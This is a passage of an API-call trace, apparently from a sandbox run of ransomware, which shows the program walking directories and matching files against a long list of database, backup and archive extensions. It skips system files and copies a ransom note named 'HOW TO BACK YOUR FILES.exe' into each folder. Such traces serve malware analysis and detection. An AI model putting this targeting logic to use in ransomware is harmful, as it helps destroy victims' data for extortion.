	[0062.532] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1
	[0062.532] lstrlenW (lpString="maw") returned 3
	[0062.532] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1
	[0062.532] lstrlenW (lpString="mdbhtml") returned 7
	[0062.532] lstrcmpiW (lpString1="bai.exe", lpString2="mdbhtml") returned -1
	[0062.532] lstrlenW (lpString="mdn") returned 3
	[0062.532] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1
	[0062.532] lstrlenW (lpString="mdt") returned 3
	[0062.532] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1
	[0062.532] lstrlenW (lpString="mfd") returned 3
	[0062.532] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1
	[0062.532] lstrlenW (lpString="mpd") returned 3
	[0062.533] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1
	[0062.533] lstrlenW (lpString="mrg") returned 3
	[0062.533] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1
	[0062.533] lstrlenW (lpString="mud") returned 3
	[0062.533] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1
	[0062.533] lstrlenW (lpString="mwb") returned 3
	[0062.533] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1
	[0062.533] lstrlenW (lpString="myd") returned 3
	[0062.533] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1
	[0062.533] lstrlenW (lpString="ndf") returned 3
	[0062.533] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1
	[0062.533] lstrlenW (lpString="nnt") returned 3
	[0062.533] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1
	[0062.533] lstrlenW (lpString="nrmlib") returned 6
	[0062.533] lstrcmpiW (lpString1="ai.exe", lpString2="nrmlib") returned -1
	[0062.533] lstrlenW (lpString="ns2") returned 3
	[0062.533] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1
	[0062.533] lstrlenW (lpString="ns3") returned 3
	[0062.533] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1
	[0062.533] lstrlenW (lpString="ns4") returned 3
	[0062.533] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1
	[0062.533] lstrlenW (lpString="nsf") returned 3
	[0062.533] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1
	[0062.533] lstrlenW (lpString="nv") returned 2
	[0062.533] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1
	[0062.533] lstrlenW (lpString="nv2") returned 3
	[0062.533] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1
	[0062.533] lstrlenW (lpString="nwdb") returned 4
	[0062.533] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1
	[0062.533] lstrlenW (lpString="nyf") returned 3
	[0062.533] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1
	[0062.533] lstrlenW (lpString="odb") returned 3
	[0062.533] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1
	[0062.533] lstrlenW (lpString="odb") returned 3
	[0062.533] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1
	[0062.534] lstrlenW (lpString="oqy") returned 3
	[0062.534] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1
	[0062.534] lstrlenW (lpString="ora") returned 3
	[0062.534] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1
	[0062.534] lstrlenW (lpString="orx") returned 3
	[0062.534] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1
	[0062.534] lstrlenW (lpString="owc") returned 3
	[0062.534] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1
	[0062.534] lstrlenW (lpString="p96") returned 3
	[0062.534] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1
	[0062.534] lstrlenW (lpString="p97") returned 3
	[0062.534] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1
	[0062.534] lstrlenW (lpString="pan") returned 3
	[0062.534] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1
	[0062.534] lstrlenW (lpString="pdb") returned 3
	[0062.534] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1
	[0062.534] lstrlenW (lpString="pdm") returned 3
	[0062.534] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1
	[0062.534] lstrlenW (lpString="pnz") returned 3
	[0062.534] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1
	[0062.534] lstrlenW (lpString="qry") returned 3
	[0062.534] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1
	[0062.534] lstrlenW (lpString="qvd") returned 3
	[0062.534] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1
	[0062.534] lstrlenW (lpString="rbf") returned 3
	[0062.534] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1
	[0062.534] lstrlenW (lpString="rctd") returned 4
	[0062.534] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1
	[0062.534] lstrlenW (lpString="rod") returned 3
	[0062.534] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1
	[0062.534] lstrlenW (lpString="rodx") returned 4
	[0062.534] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1
	[0062.534] lstrlenW (lpString="rpd") returned 3
	[0062.534] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1
	[0062.535] lstrlenW (lpString="rsd") returned 3
	[0062.535] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1
	[0062.535] lstrlenW (lpString="sas7bdat") returned 8
	[0062.535] lstrcmpiW (lpString1="ubai.exe", lpString2="sas7bdat") returned 1
	[0062.535] lstrlenW (lpString="sbf") returned 3
	[0062.535] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1
	[0062.535] lstrlenW (lpString="scx") returned 3
	[0062.535] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1
	[0062.535] lstrlenW (lpString="sdb") returned 3
	[0062.535] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1
	[0062.535] lstrlenW (lpString="sdc") returned 3
	[0062.535] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1
	[0062.535] lstrlenW (lpString="sdf") returned 3
	[0062.535] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1
	[0062.535] lstrlenW (lpString="sis") returned 3
	[0062.535] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1
	[0062.535] lstrlenW (lpString="spq") returned 3
	[0062.535] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1
	[0062.535] lstrlenW (lpString="te") returned 2
	[0062.535] lstrcmpiW (lpString1="xe", lpString2="te") returned 1
	[0062.535] lstrlenW (lpString="teacher") returned 7
	[0062.535] lstrcmpiW (lpString1="bai.exe", lpString2="teacher") returned -1
	[0062.535] lstrlenW (lpString="tmd") returned 3
	[0062.535] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1
	[0062.535] lstrlenW (lpString="tps") returned 3
	[0062.535] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1
	[0062.535] lstrlenW (lpString="trc") returned 3
	[0062.535] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1
	[0062.535] lstrlenW (lpString="trc") returned 3
	[0062.535] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1
	[0062.535] lstrlenW (lpString="trm") returned 3
	[0062.535] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1
	[0062.535] lstrlenW (lpString="udb") returned 3
	[0062.535] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1
	[0062.535] lstrlenW (lpString="udl") returned 3
	[0062.536] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1
	[0062.536] lstrlenW (lpString="usr") returned 3
	[0062.536] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1
	[0062.536] lstrlenW (lpString="v12") returned 3
	[0062.536] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1
	[0062.536] lstrlenW (lpString="vis") returned 3
	[0062.536] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1
	[0062.536] lstrlenW (lpString="vpd") returned 3
	[0062.536] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1
	[0062.536] lstrlenW (lpString="vvv") returned 3
	[0062.536] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1
	[0062.536] lstrlenW (lpString="wdb") returned 3
	[0062.536] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1
	[0062.536] lstrlenW (lpString="wmdb") returned 4
	[0062.536] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1
	[0062.536] lstrlenW (lpString="wrk") returned 3
	[0062.536] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1
	[0062.536] lstrlenW (lpString="xdb") returned 3
	[0062.536] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1
	[0062.536] lstrlenW (lpString="xld") returned 3
	[0062.536] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1
	[0062.536] lstrlenW (lpString="xmlff") returned 5
	[0062.536] lstrcmpiW (lpString1="i.exe", lpString2="xmlff") returned -1
	[0062.536] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc16bd530, ftCreationTime.dwHighDateTime=0x1d516bc, ftLastAccessTime.dwLowDateTime=0xe7593220, ftLastAccessTime.dwHighDateTime=0x1d555bd, ftLastWriteTime.dwLowDateTime=0xe7593220, ftLastWriteTime.dwHighDateTime=0x1d555bd, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sentences-keen-dubai.exe", cAlternateFileName="SENTEN~1.EXE")) returned 0
	[0062.536] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0062.536] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b10
	[0062.536] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET"
	[0062.536] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0062.536] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0062.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET") returned 59
	[0062.536] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET" | out: lpString1="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET"
	[0062.536] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.537] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft synchronization services\\ado.net\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.540] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.540] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d587af0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d587af0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.541] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.541] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.541] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.541] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d587af0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d587af0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.541] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.541] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.541] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.541] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.541] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d587af0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d587af0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.541] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.541] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 1
	[0062.541] lstrcmpiW (lpString1="v1.0", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.541] lstrcmpiW (lpString1="v1.0", lpString2="Apollon865.txt.exe") returned 1
	[0062.541] lstrcmpiW (lpString1="v1.0", lpString2=".") returned 1
	[0062.541] lstrcmpiW (lpString1="v1.0", lpString2="..") returned 1
	[0062.541] lstrcmpiW (lpString1="v1.0", lpString2="windows") returned -1
	[0062.541] lstrcmpiW (lpString1="v1.0", lpString2="bootmgr") returned 1
	[0062.542] lstrcmpiW (lpString1="v1.0", lpString2="temp") returned 1
	[0062.542] lstrcmpiW (lpString1="v1.0", lpString2="pagefile.sys") returned 1
	[0062.542] lstrcmpiW (lpString1="v1.0", lpString2="boot") returned 1
	[0062.542] lstrcmpiW (lpString1="v1.0", lpString2="ids.txt") returned 1
	[0062.542] lstrcmpiW (lpString1="v1.0", lpString2="ntuser.dat") returned 1
	[0062.542] lstrcmpiW (lpString1="v1.0", lpString2="perflogs") returned 1
	[0062.542] lstrcmpiW (lpString1="v1.0", lpString2="MSBuild") returned 1
	[0062.542] lstrlenW (lpString="v1.0") returned 4
	[0062.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\*") returned 61
	[0062.542] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="v1.0" | out: lpString1="v1.0") returned="v1.0"
	[0062.542] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0062.542] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b8f28
	[0062.542] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7b70
	[0062.542] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 0
	[0062.542] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0062.542] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b10
	[0062.542] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0"
	[0062.542] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0062.542] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0062.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0") returned 64
	[0062.542] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0" | out: lpString1="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0"
	[0062.542] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.542] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft synchronization services\\ado.net\\v1.0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.550] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.550] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d5adc50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d5adc50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.550] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.550] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.550] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.550] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d5adc50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d5adc50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.550] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.550] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.550] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.550] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.550] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d5adc50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d5adc50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.550] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.550] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b72c500, ftCreationTime.dwHighDateTime=0x1c8bd0c, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b72c500, ftLastWriteTime.dwHighDateTime=0x1c8bd0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c420, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0062.550] lstrcmpiW (lpString1="Microsoft.Synchronization.Data.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.550] lstrcmpiW (lpString1="Microsoft.Synchronization.Data.dll", lpString2="Apollon865.txt.exe") returned 1
	[0062.550] lstrcmpiW (lpString1="Microsoft.Synchronization.Data.dll", lpString2=".") returned 1
	[0062.550] lstrcmpiW (lpString1="Microsoft.Synchronization.Data.dll", lpString2="..") returned 1
	[0062.550] lstrcmpiW (lpString1="Microsoft.Synchronization.Data.dll", lpString2="windows") returned -1
	[0062.550] lstrcmpiW (lpString1="Microsoft.Synchronization.Data.dll", lpString2="bootmgr") returned 1
	[0062.550] lstrcmpiW (lpString1="Microsoft.Synchronization.Data.dll", lpString2="temp") returned -1
	[0062.550] lstrcmpiW (lpString1="Microsoft.Synchronization.Data.dll", lpString2="pagefile.sys") returned -1
	[0062.550] lstrcmpiW (lpString1="Microsoft.Synchronization.Data.dll", lpString2="boot") returned 1
	[0062.550] lstrcmpiW (lpString1="Microsoft.Synchronization.Data.dll", lpString2="ids.txt") returned 1
	[0062.550] lstrcmpiW (lpString1="Microsoft.Synchronization.Data.dll", lpString2="ntuser.dat") returned -1
	[0062.550] lstrcmpiW (lpString1="Microsoft.Synchronization.Data.dll", lpString2="perflogs") returned -1
	[0062.551] lstrcmpiW (lpString1="Microsoft.Synchronization.Data.dll", lpString2="MSBuild") returned -1
	[0062.551] lstrlenW (lpString="Microsoft.Synchronization.Data.dll") returned 34
	[0062.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\*") returned 66
	[0062.551] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Microsoft.Synchronization.Data.dll" | out: lpString1="Microsoft.Synchronization.Data.dll") returned="Microsoft.Synchronization.Data.dll"
	[0062.551] lstrlenW (lpString="Microsoft.Synchronization.Data.dll") returned 34
	[0062.551] lstrlenW (lpString="Apollon865") returned 10
	[0062.551] lstrcmpiW (lpString1="n.Data.dll", lpString2="Apollon865") returned 1
	[0062.551] lstrlenW (lpString=".dll") returned 4
	[0062.551] lstrcmpiW (lpString1="Microsoft.Synchronization.Data.dll", lpString2=".dll") returned 1
	[0062.551] lstrlenW (lpString=".lnk") returned 4
	[0062.551] lstrcmpiW (lpString1="Microsoft.Synchronization.Data.dll", lpString2=".lnk") returned 1
	[0062.551] lstrlenW (lpString=".ini") returned 4
	[0062.551] lstrcmpiW (lpString1="Microsoft.Synchronization.Data.dll", lpString2=".ini") returned 1
	[0062.551] lstrlenW (lpString=".sys") returned 4
	[0062.551] lstrcmpiW (lpString1="Microsoft.Synchronization.Data.dll", lpString2=".sys") returned 1
	[0062.551] lstrlenW (lpString="Microsoft.Synchronization.Data.dll") returned 34
	[0062.551] lstrlenW (lpString="bak") returned 3
	[0062.551] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0062.551] lstrlenW (lpString="ba_") returned 3
	[0062.551] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0062.551] lstrlenW (lpString="dbb") returned 3
	[0062.551] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0062.551] lstrlenW (lpString="vmdk") returned 4
	[0062.551] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1
	[0062.551] lstrlenW (lpString="rar") returned 3
	[0062.551] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0062.551] lstrlenW (lpString="zip") returned 3
	[0062.551] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0062.551] lstrlenW (lpString="tgz") returned 3
	[0062.551] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0062.551] lstrlenW (lpString="vbox") returned 4
	[0062.551] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1
	[0062.551] lstrlenW (lpString="vdi") returned 3
	[0062.551] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0062.552] lstrlenW (lpString="vhd") returned 3
	[0062.552] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0062.552] lstrlenW (lpString="vhdx") returned 4
	[0062.552] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1
	[0062.552] lstrlenW (lpString="avhd") returned 4
	[0062.552] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1
	[0062.552] lstrlenW (lpString="db") returned 2
	[0062.552] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0062.552] lstrlenW (lpString="db2") returned 3
	[0062.552] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0062.552] lstrlenW (lpString="db3") returned 3
	[0062.552] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0062.552] lstrlenW (lpString="dbf") returned 3
	[0062.552] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0062.552] lstrlenW (lpString="mdf") returned 3
	[0062.552] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0062.552] lstrlenW (lpString="mdb") returned 3
	[0062.552] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0062.552] lstrlenW (lpString="sql") returned 3
	[0062.552] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0062.552] lstrlenW (lpString="sqlite") returned 6
	[0062.552] lstrcmpiW (lpString1="ta.dll", lpString2="sqlite") returned 1
	[0062.552] lstrlenW (lpString="sqlite3") returned 7
	[0062.552] lstrcmpiW (lpString1="ata.dll", lpString2="sqlite3") returned -1
	[0062.552] lstrlenW (lpString="sqlitedb") returned 8
	[0062.552] lstrcmpiW (lpString1="Data.dll", lpString2="sqlitedb") returned -1
	[0062.552] lstrlenW (lpString="xml") returned 3
	[0062.552] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0062.552] lstrlenW (lpString="$er") returned 3
	[0062.552] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0062.552] lstrlenW (lpString="4dd") returned 3
	[0062.552] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0062.552] lstrlenW (lpString="4dl") returned 3
	[0062.552] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0062.552] lstrlenW (lpString="^^^") returned 3
	[0062.553] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0062.553] lstrlenW (lpString="abs") returned 3
	[0062.553] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0062.553] lstrlenW (lpString="abx") returned 3
	[0062.553] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0062.553] lstrlenW (lpString="accdb") returned 5
	[0062.553] lstrcmpiW (lpString1="a.dll", lpString2="accdb") returned -1
	[0062.553] lstrlenW (lpString="accdc") returned 5
	[0062.553] lstrcmpiW (lpString1="a.dll", lpString2="accdc") returned -1
	[0062.553] lstrlenW (lpString="accde") returned 5
	[0062.553] lstrcmpiW (lpString1="a.dll", lpString2="accde") returned -1
	[0062.553] lstrlenW (lpString="accdr") returned 5
	[0062.553] lstrcmpiW (lpString1="a.dll", lpString2="accdr") returned -1
	[0062.553] lstrlenW (lpString="accdt") returned 5
	[0062.553] lstrcmpiW (lpString1="a.dll", lpString2="accdt") returned -1
